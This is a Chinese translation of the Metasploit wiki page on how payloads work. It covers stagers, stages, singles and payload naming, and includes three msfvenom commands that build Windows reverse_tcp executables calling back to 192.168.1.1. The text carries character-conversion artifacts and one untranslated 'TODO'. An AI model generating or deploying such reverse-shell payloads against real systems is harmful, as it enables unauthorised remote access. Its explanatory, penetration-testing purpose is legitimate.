原文地址:https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work
譯者:王一航 & Google 2018-05-09
校對(duì):王一航 2018-05-09
工作原理
Payload 模塊存儲(chǔ)在 modules/payloads/{singles,stages,stagers}/<platform> 目錄中。
當(dāng)框架啟動(dòng)的時(shí)候,stages 將會(huì)和 stagers 合并起來(lái)創(chuàng)建一個(gè)完整的可以在 exploits 中使用的 payload
然后,handlers 將會(huì)和 payload 進(jìn)行對(duì)接,以便于我們的框架知道應(yīng)該如何在一個(gè)給定的通訊機(jī)制下創(chuàng)建 sessions
payloads被賦予參考名稱,指示所有的片段,如下所示:
Staged payloads: <platform>/[arch]/<stage>/<stager>
Single payloads: <platform>/[arch]/<single>
例如一個(gè)有效 payloads 的完整引用像這樣:
windows/x64/meterpreter/reverse_tcp
其中:平臺(tái)為 windows 平臺(tái),架構(gòu)為x64,我們提供的最終的 stage 為 meterpreter,而交付它的 stager 是 reverse_tcp
注意:其中 架構(gòu) 這個(gè)選項(xiàng)字段是可選的,因?yàn)橛行┣闆r下并沒(méi)有必要去糾結(jié)架構(gòu)。一個(gè)典型的例子是:
php/meterpreter/reverse_tcp
我們不需要為 PHP 的 Payload 指定一個(gè)架構(gòu),因?yàn)槲覀兲峁┑氖墙忉尨a而不是原生的二進(jìn)制代碼
Singles
Single payloads 是TODO。 它們具備和 Metasploit 建立溝通機(jī)制的能力,但是并不是必須與 Metasploit 進(jìn)行通信。 一個(gè)示例:是目標(biāo)沒(méi)有網(wǎng)絡(luò)訪問(wèn)時(shí),仍然可以通過(guò)USB密鑰提供文件格式攻擊,在這種場(chǎng)景下,您可能需要Singles
Stagers
stagers 是一個(gè)小發(fā)射器(譯者注:類似火箭的多級(jí)啟動(dòng)模式),旨在創(chuàng)建某種形式的通信,然后將執(zhí)行傳遞到下一個(gè)階段。 使用 stager 解決了兩個(gè)問(wèn)題。 首先,它允許我們最初使用一個(gè)小的有效載荷來(lái)裝載更多的功能更大的有效載荷。 其次,它可以將通信機(jī)制與最終階段分開(kāi),因此一個(gè)有效載荷可以與多個(gè)傳輸一起使用,而無(wú)需復(fù)制代碼。
Stages
既然 Stager 將通過(guò)為我們分配一大塊內(nèi)存來(lái)處理任何大小限制來(lái)處理它,那么stages可以是任意大的。 其中一個(gè)優(yōu)點(diǎn)是能夠使用C這樣的高級(jí)語(yǔ)言編寫(xiě)最終階段的有效載荷。
多級(jí)推進(jìn) (Delivering stages)
-
payloads回連的 IP地址 和 端口 被嵌入在 stager 中。就像上面討論的那樣,所有staged payloads已經(jīng)不再需要
當(dāng)您使用分階段payloads創(chuàng)建可執(zhí)行文件時(shí),您實(shí)際上只是創(chuàng)建了stager。 所以下面的命令會(huì)創(chuàng)建功能相同的exe文件:
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
(需要注意的是:盡管上述的 Payload 的功能是相同的,但是我們會(huì)做一些隨機(jī)化的工作,因此沒(méi)有兩個(gè)可執(zhí)行文件是完全相同的)
- Ruby端作為客戶端,使用由stager設(shè)置的任何傳輸機(jī)制 (例如:
tcp,http,https)
- 在
shell階段的情況下,當(dāng)您與終端進(jìn)行交互時(shí),Metasploit會(huì)將遠(yuǎn)程進(jìn)程的標(biāo)準(zhǔn)輸入流stdio連接到您的終端。 - 在 Meterpreter 階段的情況下,
Metasploit將開(kāi)始使用Meterpreter Wire協(xié)議。